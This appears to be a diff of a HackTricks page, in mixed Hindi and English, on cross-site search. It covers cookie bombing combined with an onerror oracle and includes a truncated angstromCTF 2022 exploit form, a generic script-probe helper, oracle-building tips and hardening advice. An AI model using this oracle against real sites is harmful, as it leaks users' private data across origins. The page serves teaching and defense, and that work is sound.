-निम्नलिखित **script** [**यहां**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) से लिया गया है जो एक कार्यक्षमता का लाभ उठा रहा है जो उपयोगकर्ता को **कुकीज़ की कोई भी मात्रा डालने** की अनुमति देता है, और फिर एक फ़ाइल को स्क्रिप्ट के रूप में लोड करता है यह जानते हुए कि सही प्रतिक्रिया गलत प्रतिक्रिया से बड़ी होगी और फिर। यदि सफल होता है, तो प्रतिक्रिया एक रीडायरेक्ट होती है जिसमें परिणामस्वरूप URL लंबा होता है, **जो सर्वर द्वारा संभालने के लिए बहुत बड़ा है इसलिए एक त्रुटि http स्थिति कोड लौटाता है**। यदि खोज विफल होती है, तो कुछ नहीं होगा क्योंकि URL छोटा है।
+यह तकनीक संयोजित करती है:
 - Cookie bombing: लक्ष्य origin के लिए पीड़ित के ब्राउज़र में कई/बड़ी cookies भरना ताकि बाद के अनुरोध सर्वर/अनुरोध सीमाओं (request header size, URL size in redirects, आदि) से टकराएँ।
 - Error-event oracle: एक क्रॉस-ऑरिजिन endpoint को <script> (या अन्य subresource) के साथ probe करना और onload बनाम onerror से राज्यों को अलग करना।
 मुख्य विचार
 - एक target endpoint खोजें जिसका व्यवहार उन दो स्थितियों के लिए अलग हो जिन्हें आप परखना चाहते हैं (उदा., search “hit” vs “miss”)।
 - सुनिश्चित करें कि “hit” path एक भारी redirect chain या लंबी URL ट्रिगर करेगा जबकि “miss” path छोटा रहेगा। कई cookies का उपयोग करके request headersinflate करें ताकि सिर्फ “hit” path ही सर्वर को HTTP error (उदा., 431/414/400) के साथ fail कराए। यह error onerror इवेंट को पलट देता है और XS-Search के लिए एक oracle बन जाता है।
 यह कब काम करता है
 - आप पीड़ित के ब्राउज़र को लक्ष्य पर cookies भेजने के लिए मजबूर कर सकते हैं (उदा., cookies are SameSite=None या आप उन्हें first-party context में popup window.open के माध्यम से सेट कर सकते हैं)।
 - एक ऐप फ़ीचर मौजूद हो जिसे आप arbitrary cookies सेट करने के लिए abuso कर सकें (उदा., “save preference” endpoints जो controlled input names/values को Set-Cookie में बदल देते हैं) या post-auth redirects बनाने के लिए जो attacker-controlled डेटा को URL में शामिल करते हैं।
 - सर्वर दोनों राज्यों पर अलग प्रतिक्रिया देता है और inflated headers/URL के साथ, एक राज्य किसी सीमा को पार कर जाता है और एक error response लौटाता है जो onerror को ट्रिगर करता है।
 Oracle के रूप में उपयोग की जाने वाली सर्वर त्रुटियों पर नोट
 - 431 Request Header Fields Too Large आमतौर पर तब लौटता है जब cookies request headers को inflate करती हैं; 414 URI Too Long या लंबे request targets के लिए कोई server-specific 400 लौट सकता है। इनमें से कोई भी failed subresource load में बदलकर onerror फायर कर देता है। [MDN documents 431 and typical causes like excessive cookies.]()
 व्यावहारिक उदाहरण (angstromCTF 2022)
 निम्नलिखित script (एक public writeup से) उस फ़ीचर का दुरुपयोग करता है जो attacker को arbitrary cookies डालने देता है, और फिर एक cross-origin search endpoint को एक script के रूप में लोड करता है। जब query सही होती है, सर्वर एक redirect करता है जो cookie bloat के साथ मिलकर server limits को पार कर देता है और एक error status लौटाता है, इसलिए script.onerror फायर होता है; अन्यथा कुछ भी नहीं होता।
 ```html
 <>'";
 <form action="https://sustenance.web.actf.co/s" method="POST">
@ -57,4 +74,51 @@ break
 }
 </script>
 ```
 Popup (window.open) क्यों?
 - आधुनिक ब्राउज़र third-party cookies को तेजी से ब्लॉक कर रहे हैं। लक्ष्य पर एक top-level window खोलने से cookies first‑party बन जाती हैं, इसलिए लक्ष्य से आने वाली Set-Cookie responses टिक जाती हैं, और cookie-bomb step संभव हो जाता है भले ही third‑party cookie restrictions हों।
 Generic probing सहायक
 If you already have a way to set many cookies on the target origin (first-party), you can reuse this minimal oracle against any endpoint whose success/failure leads to different network outcomes (status/MIME/redirect):
 ```js
 function probeError(url) {
 return new Promise((resolve) => {
 const s = document.createElement('script');
 s.src = url;
 s.onload = () => resolve(false);  // loaded successfully
 s.onerror = () => resolve(true);  // failed (e.g., 4xx/5xx, wrong MIME, blocked)
 document.head.appendChild(s);
 });
 }
 ```
 Tips to build the oracle
 - Force the “positive” state to be heavier: शर्त सही होने पर ही एक अतिरिक्त redirect जोड़ें, या redirect URL को अनबाउंडेड user input दिखाने वाला रखें ताकि यह guessed prefix के साथ बढ़े।
 - Inflate headers: cookie bombing को रिपीट करें जब तक “heavy” path पर लगातार कोई error न दिखे। सर्वर आम तौर पर header size को cap करते हैं और कई cookies होने पर जल्दी fail कर जाते हैं।
 - Stabilize: कई parallel cookie set operations चलाएँ और बार-बार probe करें ताकि timing और caching noise का औसत निकले।
 Related XS-Search tricks
 - URL length based oracles (no cookies needed) को combine किया जा सकता है या तब इस्तेमाल करें जब आप किसी बहुत लंबे request target को मजबूर कर सकें:
 {{#ref}}
 url-max-length-client-side.md
 {{#endref}}
 Defenses and hardening
 - Make success/failure responses indistinguishable:
 - conditional redirects या अलग-अलग response size वाले बड़े अंतर से बचें। हर state के लिए वही status, वही Content-Type और समान body length लौटाएँ।
 - Block cross-site subresource probes:
 - SameSite cookies: संवेदनशील cookies को SameSite=Lax या Strict पर सेट करें ताकि subresource requests जैसे <script src> उन्हें भेजें ही नहीं; auth tokens के लिए संभव हो तो Strict पसंद करें।
 - Fetch Metadata: Resource Isolation Policy लागू करें ताकि cross-site subresource लोड रिजेक्ट हो (उदाहरण के लिए, अगर Sec-Fetch-Site != same-origin/same-site)।
 - Cross-Origin-Resource-Policy (CORP): उन endpoints के लिए CORP: same-origin (या कम से कम same-site) सेट करें जिन्हें cross-origin subresources के रूप में embed नहीं किया जाना चाहिए।
 - X-Content-Type-Options: nosniff और JSON/HTML endpoints पर सही Content-Type सेट करें ताकि load-as-script quirks न हों।
 - Reduce header/URL amplification:
 - Set किए जाने वाले cookies की संख्या/साइज़ को सीमित करें; उन फीचर्स को sanitize करें जो arbitrary form fields को Set-Cookie में बदल देते हैं।
 - redirects में reflected data को normalize या truncate करें; Location URLs में attacker-controlled लंबे स्ट्रिंग्स embed करने से बचें।
 - सर्वर limits को consistent रखें और uniformly fail कराएँ (किसी एक शाखा के लिए अलग error pages से बचें)।
 Notes
 - इस क्लास की attacks को व्यापक रूप से “Error Events” XS-Leaks के रूप में चर्चा किया जाता है। cookie-bomb step सिर्फ एक सुविधाजनक तरीका है ताकि केवल एक शाखा सर्वर limits पार करे और एक विश्वसनीय boolean oracle पैदा हो।
 ## References
 - XS-Leaks: Error Events (onerror/onload as an oracle): https://xsleaks.dev/docs/attacks/error-events/
 - MDN: 431 Request Header Fields Too Large (common with many cookies): https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431
 {{#include ../../banners/hacktricks-training.md}}